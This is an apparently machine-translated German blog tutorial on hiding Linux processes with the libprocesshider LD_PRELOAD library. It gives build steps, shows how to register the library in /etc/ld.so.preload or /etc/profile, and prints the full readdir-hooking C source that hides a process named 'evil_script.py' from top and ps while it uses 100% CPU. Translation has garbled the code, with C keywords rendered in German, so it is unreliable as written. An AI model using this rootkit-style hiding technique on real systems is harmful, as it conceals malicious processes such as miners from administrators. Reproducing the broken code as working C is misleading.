Eine Methode zum Verbergen von Prozessen unter Linux und die dabei auftretenden Fallstricke

Eine Methode zum Verbergen von Prozessen unter Linux und die dabei auftretenden Fallstricke

Vorwort

1. Die in diesem Artikel verwendeten Tools können unter https://github.com/gianlucaborello/libprocesshider heruntergeladen werden.

2. Die Idee besteht darin, LD_PRELOAD zu verwenden, um Systemfunktionen zu kapern

Was ist LD_PRELOAD?

LD_PRELOAD ist eine Umgebungsvariable des Linux-Systems, die den Laufzeitlink des Programms (Runtime Linker) beeinflussen kann. Damit können Sie die dynamische Linkbibliothek definieren, die zuerst geladen wird, bevor das Programm ausgeführt wird. Diese Funktion wird hauptsächlich verwendet, um dieselben Funktionen selektiv in verschiedene dynamische Linkbibliotheken zu laden. Über diese Umgebungsvariable können wir andere dynamische Linkbibliotheken zwischen dem Hauptprogramm und seiner dynamischen Linkbibliothek laden und sogar die normale Funktionsbibliothek überschreiben. Einerseits können wir diese Funktion nutzen, um unsere eigenen oder bessere Funktionen zu verwenden (ohne dass wir dafür den Quellcode anderer benötigen), andererseits können wir auch Programme in die Programme anderer einschleusen, um bestimmte Zwecke zu erreichen.

erreichen

1. Laden Sie das Programm herunter und kompilieren Sie es

bmfxgkpt-yhd:~# git-Klon https://github.com/gianlucaborello/libprocesshider.git
Klonen in „libprocesshider“ …
remote: Objekte zählen: 26, fertig.
Remote: Gesamt 26 (Delta 0), wiederverwendet 0 (Delta 0), Pack-wiederverwendet 26
Objekte auspacken: 100 % (26/26), erledigt.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# machen
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. Verschieben Sie die Datei in das Verzeichnis /usr/local/lib/

mv libprocesshider.so /usr/local/lib/

3. Laden Sie es in den globalen dynamischen Linker

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

prüfen

1. Wir führen evil_script.py aus

2. Zu diesem Zeitpunkt wurde festgestellt, dass evil_script.py in top und ps nicht gefunden werden kann

Zu diesem Zeitpunkt stellten wir fest, dass die CPU zu 100 % ausgelastet war, wir konnten jedoch kein Programm finden, das einen hohen CPU-Auslastungsgrad aufwies.

analysieren

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Jeder Prozess mit diesem Namen wird ausgeschlossen
 */
statischer const char* zu filternder Prozess = "evil_script.py";
/*
 * Einen Verzeichnisnamen mit einem DIR*-Handle abrufen
 */
statische int get_dir_name(DIR* dirp, char* buf, size_t Größe)
{
  int fd = dirfd(dirp);
  wenn(fd == -1) {
    gebe 0 zurück;
  }
  Zeichen tmp[64];
  snprintf(tmp, Größe von(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, Puffer, Größe);
  wenn(ret == -1) {
    gebe 0 zurück;
  }
  buf[ret] = 0;
  Rückgabe 1;
}
/*
 * Holen Sie sich einen Prozessnamen anhand seiner PID
 */
statische int get_process_name(char* pid, char* buf)
{
  wenn(strspn(pid, "0123456789") != strlen(pid)) {
    gebe 0 zurück;
  }
  Zeichen tmp[256];
  snprintf(tmp, Größe von(tmp), "/proc/%s/stat", pid);
  DATEI* f = fopen(tmp, "r");
  wenn(f == NULL) {
    gebe 0 zurück;
  }
  wenn (fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    gebe 0 zurück;
  }
  fclose(f);
  int unbenutzt;
  sscanf(tmp, "%d (%[^)]s", &unbenutzt, buf);
  Rückgabe 1;
}
#define DECLARE_READDIR(dirent, readdir) \
statische Struktur dirent* (*original_##readdir)(DIR*) = NULL; \
Struktur dirent* readdir(DIR *dirp) \
{ \
  wenn(original_##readdir == NULL) { \
    original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    wenn(original_##readdir == NULL) \
    { \
      fprintf(stderr, "Fehler in dlsym: %s\n", dlerror()); \
    } \
  } \
  struct dirent* dir; \
  während(1) \
  { \
    dir = original_##readdir(dirp); \
    if(dir) { \
      char Verzeichnisname[256]; \
      char Prozessname[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, process_name) && \
        strcmp(Prozessname, zu filternder Prozess) == 0) { \
        weitermachen; \
      } \
    } \
    brechen; \
  } \
  returniere das Verzeichnis; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1. Das Programm definiert eine Variable process_to_filter, um zu steuern, welcher Prozessname nicht angezeigt wird

2. Readdir neu schreiben,

strcmp(process_name, process_to_filter) == 0)

Wenn festgestellt wird, dass der aktuelle Prozessname mit dem zu filternden Prozess übereinstimmt, setzen Sie die Schleife fort.

Aufgetroffene Fallstricke

1. Dieses Programm kann in einigen Linux-Systemen nicht kompiliert werden

Problemumgehung

Löschen Sie eine der letzten beiden Zeilen

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2. Wird in einigen Linux

Shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Es wird nicht wirksam. Zu diesem Zeitpunkt müssen wir die Umgebungsvariable Shell bmfxgkpt-yhd konfigurieren: ~ # vi / etc / profile
Fügen Sie eine Zeile hinzu: shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

Zusammenfassen

Oben ist eine vom Herausgeber vorgestellte Methode zum Verbergen von Prozessen unter Linux und die aufgetretenen Fallstricke. Ich hoffe, es wird allen helfen. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht und der Herausgeber wird Ihnen rechtzeitig antworten. Ich möchte auch allen für ihre Unterstützung der Website 123WORDPRESS.COM danken!

Das könnte Sie auch interessieren:
  • Eine Codezeile zeigt Ihnen, wie Sie Linux-Prozesse verbergen

<<:  Beispielcode zur Implementierung der WeChat-Kontoaufteilung mit Nodejs

>>:  Tutorial zur Installation und Konfiguration von MySQL 5.7 unter CentOS7 (YUM)

Artikel empfehlen

So stellen Sie HBase mit Docker bereit

Standalone-HBase, lassen Sie uns zuerst darüber s...

Detaillierte Erklärung verschiedener Bildformate wie JPG, GIF und PNG

Jeder weiß, dass Bilder auf Webseiten im Allgemein...

LINUX Prüft, ob der Port belegt ist

Ich konnte nie herausfinden, ob der Port belegt i...

Tutorial zur Installation von MySQL 8.0.11 mit RPM unter Linux (CentOS7)

Inhaltsverzeichnis 1. Installationsvorbereitung 1...

Einführung in den vollständigen Namen und die Funktion von HTML-Tags

Alphabetisch DTD: Gibt an, in welcher XHTML 1.0 D...

So betreiben Sie eine MySQL-Datenbank mit dem ORM-Modell-Framework

Was ist ORM? ORM steht für Object Relational Mapp...

Detaillierte Erklärung, wie NGINX PV, UV und unabhängige IP der Website zählt

Nginx: PV, UV, unabhängige IP Jeder, der Websites...

Zusammenfassung der HTML-Formatierungsstandards für webbasierte E-Mail-Inhalte

1. Seitenanforderungen 1) Verwenden Sie standardm...

Analyse von MySQL-Lock-Wait- und Deadlock-Problemen

Inhaltsverzeichnis Vorwort: 1. Verstehen Sie Lock...

Analyse der Lösung für das Problem der gemeinsamen Nutzung von Nginx-Sitzungen

Dieser Artikel stellt hauptsächlich die Lösung fü...